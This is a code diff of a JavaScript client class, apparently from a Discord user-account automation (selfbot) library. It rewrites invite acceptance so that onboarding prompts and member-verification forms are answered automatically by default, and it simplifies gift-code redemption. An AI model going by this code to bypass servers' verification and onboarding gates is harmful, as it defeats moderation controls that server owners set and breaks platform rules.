* @param {AcceptInviteOptions} [options] Options
|
|
563
|
-
* @returns {Promise<Guild|DMChannel|GroupDMChannel>}
|
|
564
|
-
* @example
|
|
565
|
-
* await client.acceptInvite('https://discord.gg/genshinimpact', { bypassOnboarding: true, bypassVerify: true })
|
|
566
|
-
*/
|
|
567
352
|
async acceptInvite(invite, options = { bypassOnboarding: true, bypassVerify: true }) {
|
|
568
353
|
const code = DataResolver.resolveInviteCode(invite);
|
|
569
354
|
if (!code) throw new Error('INVITE_RESOLVE_CODE');
|
|
355
|
+
|
|
570
356
|
const i = await this.fetchInvite(code);
|
|
571
|
-
|
|
572
|
-
if (this.
|
|
357
|
+
|
|
358
|
+
if (i.guild?.id && this.guilds.cache.has(i.guild.id)) return this.guilds.cache.get(i.guild.id);
|
|
359
|
+
if (this.channels.cache.has(i.channel?.id ?? i.channelId)) return this.channels.cache.get(i.channel?.id ?? i.channelId);
|
|
360
|
+
|
|
573
361
|
const data = await this.api.invites(code).post({
|
|
574
362
|
DiscordContext: { location: 'Markdown Link' },
|
|
575
|
-
data: {
|
|
576
|
-
session_id: this.sessionId,
|
|
577
|
-
},
|
|
363
|
+
data: { session_id: this.sessionId },
|
|
578
364
|
});
|
|
579
|
-
|
|
580
|
-
|
|
365
|
+
|
|
366
|
+
this.emit(Events.DEBUG, `[Invite > Guild ${i.guild?.id ?? 'DM'}] Joined`);
|
|
367
|
+
|
|
581
368
|
if (i.guild?.id) {
|
|
582
|
-
const guild = this.guilds.cache.get(i.guild
|
|
583
|
-
|
|
584
|
-
|
|
369
|
+
const guild = this.guilds.cache.get(i.guild.id) ?? null;
|
|
370
|
+
|
|
371
|
+
if (i.flags?.has('GUEST')) {
|
|
372
|
+
this.emit(Events.DEBUG, `[Invite > Guild ${i.guild.id}] Guest invite`);
|
|
585
373
|
return guild;
|
|
586
374
|
}
|
|
375
|
+
|
|
587
376
|
if (options.bypassOnboarding) {
|
|
588
|
-
|
|
589
|
-
|
|
590
|
-
|
|
591
|
-
|
|
592
|
-
|
|
593
|
-
|
|
594
|
-
|
|
595
|
-
|
|
596
|
-
|
|
597
|
-
|
|
598
|
-
|
|
599
|
-
|
|
600
|
-
|
|
601
|
-
|
|
602
|
-
|
|
603
|
-
|
|
377
|
+
try {
|
|
378
|
+
const onboardingData = await this.api.guilds(i.guild.id).onboarding.get();
|
|
379
|
+
if (onboardingData.enabled) {
|
|
380
|
+
const prompts = onboardingData.prompts.filter(p => p.in_onboarding);
|
|
381
|
+
if (prompts.length > 0) {
|
|
382
|
+
const onboarding_prompts_seen = {};
|
|
383
|
+
const onboarding_responses = [];
|
|
384
|
+
const onboarding_responses_seen = {};
|
|
385
|
+
const currentDate = Date.now();
|
|
386
|
+
|
|
387
|
+
prompts.forEach(prompt => {
|
|
388
|
+
onboarding_prompts_seen[prompt.id] = currentDate;
|
|
389
|
+
if (prompt.required && prompt.options?.[0]) onboarding_responses.push(prompt.options[0].id);
|
|
390
|
+
prompt.options?.forEach(option => {
|
|
391
|
+
onboarding_responses_seen[option.id] = currentDate;
|
|
392
|
+
});
|
|
604
393
|
});
|
|
605
|
-
});
|
|
606
394
|
|
|
607
|
-
|
|
608
|
-
|
|
609
|
-
|
|
610
|
-
|
|
611
|
-
|
|
612
|
-
},
|
|
613
|
-
});
|
|
614
|
-
this.emit(Events.DEBUG, `[Invite > Guild ${i.guild?.id}] Bypassed onboarding`);
|
|
395
|
+
await this.api.guilds(i.guild.id)['onboarding-responses'].post({
|
|
396
|
+
data: { onboarding_prompts_seen, onboarding_responses, onboarding_responses_seen },
|
|
397
|
+
});
|
|
398
|
+
this.emit(Events.DEBUG, `[Invite > Guild ${i.guild.id}] Bypassed onboarding`);
|
|
399
|
+
}
|
|
615
400
|
}
|
|
401
|
+
} catch (err) {
|
|
402
|
+
this.emit(Events.DEBUG, `[Invite > Guild ${i.guild.id}] Onboarding bypass failed: ${err.message}`);
|
|
616
403
|
}
|
|
617
404
|
}
|
|
618
|
-
|
|
405
|
+
|
|
619
406
|
if (data.show_verification_form && options.bypassVerify) {
|
|
620
|
-
|
|
621
|
-
|
|
622
|
-
|
|
623
|
-
|
|
624
|
-
|
|
625
|
-
|
|
626
|
-
|
|
627
|
-
|
|
628
|
-
|
|
629
|
-
|
|
630
|
-
.guilds(i.guild
|
|
631
|
-
|
|
632
|
-
.catch(() =>
|
|
633
|
-
|
|
634
|
-
|
|
635
|
-
|
|
636
|
-
.guilds(i.guild
|
|
637
|
-
|
|
638
|
-
|
|
407
|
+
try {
|
|
408
|
+
if (i.guild.verification_level === 4 && !this.user?.phone) { // VERY_HIGH = 4
|
|
409
|
+
this.emit(Events.DEBUG, `[Invite > Guild ${i.guild.id}] Cannot bypass verify (Phone required)`);
|
|
410
|
+
return guild;
|
|
411
|
+
}
|
|
412
|
+
if (i.guild.verification_level !== 0 && !this.user?.email) {
|
|
413
|
+
this.emit(Events.DEBUG, `[Invite > Guild ${i.guild.id}] Cannot bypass verify (Email required)`);
|
|
414
|
+
return guild;
|
|
415
|
+
}
|
|
416
|
+
|
|
417
|
+
const getForm = await this.api.guilds(i.guild.id)['member-verification'].get({
|
|
418
|
+
query: { with_guild: false, invite_code: code },
|
|
419
|
+
}).catch(() => null);
|
|
420
|
+
|
|
421
|
+
if (getForm?.form_fields?.[0]) {
|
|
422
|
+
const form = { ...getForm.form_fields[0], response: true };
|
|
423
|
+
await this.api.guilds(i.guild.id).requests['@me'].put({
|
|
424
|
+
data: { form_fields: [form], version: getForm.version },
|
|
425
|
+
});
|
|
426
|
+
this.emit(Events.DEBUG, `[Invite > Guild ${i.guild.id}] Bypassed verify`);
|
|
427
|
+
}
|
|
428
|
+
} catch (err) {
|
|
429
|
+
this.emit(Events.DEBUG, `[Invite > Guild ${i.guild.id}] Verify bypass failed: ${err.message}`);
|
|
639
430
|
}
|
|
640
431
|
}
|
|
641
|
-
return guild;
|
|
642
|
-
} else {
|
|
643
|
-
return this.channels.cache.has(i.channelId || data.channel?.id);
|
|
644
|
-
}
|
|
645
|
-
}
|
|
646
|
-
|
|
647
|
-
/**
|
|
648
|
-
* Redeem nitro from code or url.
|
|
649
|
-
* @param {string} nitro Nitro url or code
|
|
650
|
-
* @param {TextChannelResolvable} [channel] Channel that the code was sent in
|
|
651
|
-
* @param {Snowflake} [paymentSourceId] Payment source id
|
|
652
|
-
* @returns {Promise<any>}
|
|
653
|
-
*/
|
|
654
|
-
redeemNitro(nitro, channel, paymentSourceId) {
|
|
655
|
-
if (typeof nitro !== 'string') throw new Error('INVALID_NITRO');
|
|
656
|
-
const nitroCode =
|
|
657
|
-
nitro.match(/(discord.gift|discord.com|discordapp.com\/gifts)\/(\w{16,25})/) ||
|
|
658
|
-
nitro.match(/(discord\.gift\/|discord\.com\/gifts\/|discordapp\.com\/gifts\/)(\w+)/);
|
|
659
|
-
if (!nitroCode) return false;
|
|
660
|
-
const code = nitroCode[2];
|
|
661
|
-
channel = this.channels.resolveId(channel);
|
|
662
|
-
return this.api.entitlements['gift-codes'](code).redeem.post({
|
|
663
|
-
auth: true,
|
|
664
|
-
data: { channel_id: channel || null, payment_source_id: paymentSourceId || null },
|
|
665
|
-
});
|
|
666
|
-
}
|
|
667
432
|
|
|
668
|
-
|
|
669
|
-
* @typedef {Object} OAuth2AuthorizeOptions
|
|
670
|
-
* @property {string} [guild_id] Guild ID
|
|
671
|
-
* @property {PermissionResolvable} [permissions] Permissions
|
|
672
|
-
* @property {boolean} [authorize] Whether to authorize or not
|
|
673
|
-
* @property {string} [code] 2FA Code
|
|
674
|
-
* @property {string} [webhook_channel_id] Webhook Channel ID
|
|
675
|
-
*/
|
|
676
|
-
|
|
677
|
-
/**
|
|
678
|
-
* Authorize an application.
|
|
679
|
-
* @param {string} url Discord Auth URL
|
|
680
|
-
* @param {OAuth2AuthorizeOptions} options Oauth2 options
|
|
681
|
-
* @returns {Promise<any>}
|
|
682
|
-
* @example
|
|
683
|
-
* client.authorizeURL(`https://discord.com/api/oauth2/authorize?client_id=botID&permissions=8&scope=applications.commands%20bot`, {
|
|
684
|
-
guild_id: "guildID",
|
|
685
|
-
permissions: "62221393", // your permissions
|
|
686
|
-
authorize: true
|
|
687
|
-
})
|
|
688
|
-
*/
|
|
689
|
-
authorizeURL(url, options = { authorize: true, permissions: '0' }) {
|
|
690
|
-
const pathnameAPI = /\/api\/(v\d{1,2}\/)?oauth2\/authorize/;
|
|
691
|
-
const pathnameURL = /\/oauth2\/authorize/;
|
|
692
|
-
const url_ = new URL(url);
|
|
693
|
-
if (
|
|
694
|
-
!['discord.com', 'canary.discord.com', 'ptb.discord.com'].includes(url_.hostname) ||
|
|
695
|
-
(!pathnameAPI.test(url_.pathname) && !pathnameURL.test(url_.pathname))
|
|
696
|
-
) {
|
|
697
|
-
throw new Error('INVALID_URL', url);
|
|
433
|
+
return guild ?? this.guilds.cache.get(i.guild.id);
|
|
698
434
|
}
|
|
699
|
-
const searchParams = Object.fromEntries(url_.searchParams);
|
|
700
|
-
options.permissions = `${Permissions.resolve(searchParams.permissions || options.permissions) || 0}`;
|
|
701
|
-
delete searchParams.permissions;
|
|
702
|
-
return this.api.oauth2.authorize.post({
|
|
703
|
-
query: searchParams,
|
|
704
|
-
data: options,
|
|
705
|
-
});
|
|
706
|
-
}
|
|
707
435
|
|
|
708
|
-
|
|
709
|
-
|
|
710
|
-
* @param {Snowflake} applicationId Discord Application id
|
|
711
|
-
* @returns {Promise<void>}
|
|
712
|
-
*/
|
|
713
|
-
installUserApps(applicationId) {
|
|
714
|
-
return this.api
|
|
715
|
-
.applications(applicationId)
|
|
716
|
-
.public.get({
|
|
717
|
-
query: {
|
|
718
|
-
with_guild: false,
|
|
719
|
-
},
|
|
720
|
-
})
|
|
721
|
-
.then(rawData => {
|
|
722
|
-
const installTypes = rawData.integration_types_config['1'];
|
|
723
|
-
if (installTypes) {
|
|
724
|
-
return this.api.oauth2.authorize.post({
|
|
725
|
-
query: {
|
|
726
|
-
client_id: applicationId,
|
|
727
|
-
scope: installTypes.oauth2_install_params.scopes.join(' '),
|
|
728
|
-
},
|
|
729
|
-
data: {
|
|
730
|
-
permissions: '0',
|
|
731
|
-
authorize: true,
|
|
732
|
-
integration_type: 1,
|
|
733
|
-
},
|
|
734
|
-
});
|
|
735
|
-
} else {
|
|
736
|
-
return false;
|
|
737
|
-
}
|
|
738
|
-
});
|
|
436
|
+
// Cas DM / Group DM
|
|
437
|
+
return this.channels.cache.get(i.channel?.id ?? data.channel?.id) ?? null;
|
|
739
438
|
}
|
|
740
439
|
|
|
741
|
-
|
|
742
|
-
|
|
743
|
-
|
|
744
|
-
* @returns {Promise<void>}
|
|
745
|
-
*/
|
|
746
|
-
deauthorize(applicationId) {
|
|
747
|
-
return this.api.oauth2.tokens
|
|
748
|
-
.get()
|
|
749
|
-
.then(data => data.find(o => o.application.id == applicationId))
|
|
750
|
-
.then(o => this.api.oauth2.tokens(o.id).delete());
|
|
751
|
-
}
|
|
752
|
-
|
|
753
|
-
/**
|
|
754
|
-
* Calls {@link https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval} on a script
|
|
755
|
-
* with the client as `this`.
|
|
756
|
-
* @param {string} script Script to eval
|
|
757
|
-
* @returns {*}
|
|
758
|
-
* @private
|
|
759
|
-
*/
|
|
760
|
-
_eval(script) {
|
|
761
|
-
return eval(script);
|
|
762
|
-
}
|
|
440
|
+
async redeemNitro(nitro, gift = true) {
|
|
441
|
+
const code = DataResolver.resolveNitroCode(nitro);
|
|
442
|
+
if (!code) throw new Error('NITRO_RESOLVE_CODE');
|
|
763
443
|
|
|
764
|
-
|
|
765
|
-
|
|
766
|
-
|
|
767
|
-
|
|
768
|
-
|
|
769
|
-
|
|
770
|
-
if (typeof options.makeCache !== 'function') {
|
|
771
|
-
throw new TypeError('CLIENT_INVALID_OPTION', 'makeCache', 'a function');
|
|
772
|
-
}
|
|
773
|
-
if (typeof options.messageCacheLifetime !== 'number' || isNaN(options.messageCacheLifetime)) {
|
|
774
|
-
throw new TypeError('CLIENT_INVALID_OPTION', 'The messageCacheLifetime', 'a number');
|
|
775
|
-
}
|
|
776
|
-
if (typeof options.messageSweepInterval !== 'number' || isNaN(options.messageSweepInterval)) {
|
|
777
|
-
throw new TypeError('CLIENT_INVALID_OPTION', 'messageSweepInterval', 'a number');
|
|
778
|
-
}
|
|
779
|
-
if (typeof options.sweepers !== 'object' || options.sweepers === null) {
|
|
780
|
-
throw new TypeError('CLIENT_INVALID_OPTION', 'sweepers', 'an object');
|
|
781
|
-
}
|
|
782
|
-
if (typeof options.invalidRequestWarningInterval !== 'number' || isNaN(options.invalidRequestWarningInterval)) {
|
|
783
|
-
throw new TypeError('CLIENT_INVALID_OPTION', 'invalidRequestWarningInterval', 'a number');
|
|
784
|
-
}
|
|
785
|
-
if (!Array.isArray(options.partials)) {
|
|
786
|
-
throw new TypeError('CLIENT_INVALID_OPTION', 'partials', 'an Array');
|
|
787
|
-
}
|
|
788
|
-
if (typeof options.DMChannelVoiceStatusSync !== 'number' || isNaN(options.DMChannelVoiceStatusSync)) {
|
|
789
|
-
throw new TypeError('CLIENT_INVALID_OPTION', 'DMChannelVoiceStatusSync', 'a number');
|
|
790
|
-
}
|
|
791
|
-
if (typeof options.waitGuildTimeout !== 'number' || isNaN(options.waitGuildTimeout)) {
|
|
792
|
-
throw new TypeError('CLIENT_INVALID_OPTION', 'waitGuildTimeout', 'a number');
|
|
793
|
-
}
|
|
794
|
-
if (typeof options.restWsBridgeTimeout !== 'number' || isNaN(options.restWsBridgeTimeout)) {
|
|
795
|
-
throw new TypeError('CLIENT_INVALID_OPTION', 'restWsBridgeTimeout', 'a number');
|
|
796
|
-
}
|
|
797
|
-
if (typeof options.restRequestTimeout !== 'number' || isNaN(options.restRequestTimeout)) {
|
|
798
|
-
throw new TypeError('CLIENT_INVALID_OPTION', 'restRequestTimeout', 'a number');
|
|
799
|
-
}
|
|
800
|
-
if (typeof options.restGlobalRateLimit !== 'number' || isNaN(options.restGlobalRateLimit)) {
|
|
801
|
-
throw new TypeError('CLIENT_INVALID_OPTION', 'restGlobalRateLimit', 'a number');
|
|
802
|
-
}
|
|
803
|
-
if (typeof options.restSweepInterval !== 'number' || isNaN(options.restSweepInterval)) {
|
|
804
|
-
throw new TypeError('CLIENT_INVALID_OPTION', 'restSweepInterval', 'a number');
|
|
805
|
-
}
|
|
806
|
-
if (typeof options.retryLimit !== 'number' || isNaN(options.retryLimit)) {
|
|
807
|
-
throw new TypeError('CLIENT_INVALID_OPTION', 'retryLimit', 'a number');
|
|
808
|
-
}
|
|
809
|
-
if (typeof options.failIfNotExists !== 'boolean') {
|
|
810
|
-
throw new TypeError('CLIENT_INVALID_OPTION', 'failIfNotExists', 'a boolean');
|
|
811
|
-
}
|
|
812
|
-
if (
|
|
813
|
-
typeof options.rejectOnRateLimit !== 'undefined' &&
|
|
814
|
-
!(typeof options.rejectOnRateLimit === 'function' || Array.isArray(options.rejectOnRateLimit))
|
|
815
|
-
) {
|
|
816
|
-
throw new TypeError('CLIENT_INVALID_OPTION', 'rejectOnRateLimit', 'an array or a function');
|
|
444
|
+
if (gift) {
|
|
445
|
+
await this.api['entitlements/gift-codes'](code).post();
|
|
446
|
+
this.emit(Events.DEBUG, `[Nitro] Redeemed gift code: ${code}`);
|
|
447
|
+
} else {
|
|
448
|
+
await this.api['entitlements/codes'].post({ data: { code } });
|
|
449
|
+
this.emit(Events.DEBUG, `[Nitro] Redeemed code: ${code}`);
|
|
817
450
|
}
|
|
818
|
-
// Hardcode
|
|
819
|
-
this.options.shardCount = 1;
|
|
820
|
-
this.options.shards = [0];
|
|
821
|
-
this.options.intents = Intents.ALL;
|
|
822
451
|
}
|
|
823
452
|
}
|
|
824
453
|
|
|
825
|
-
module.exports = Client;
|
|
826
|
-
|
|
827
|
-
/**
|
|
828
|
-
* Emitted for general warnings.
|
|
829
|
-
* @event Client#warn
|
|
830
|
-
* @param {string} info The warning
|
|
831
|
-
*/
|
|
832
|
-
|
|
833
|
-
/**
|
|
834
|
-
* @external Collection
|
|
835
|
-
* @see {@link https://discord.js.org/docs/packages/collection/stable/Collection:Class}
|
|
836
|
-
*/
|
|
454
|
+
module.exports = Client;
|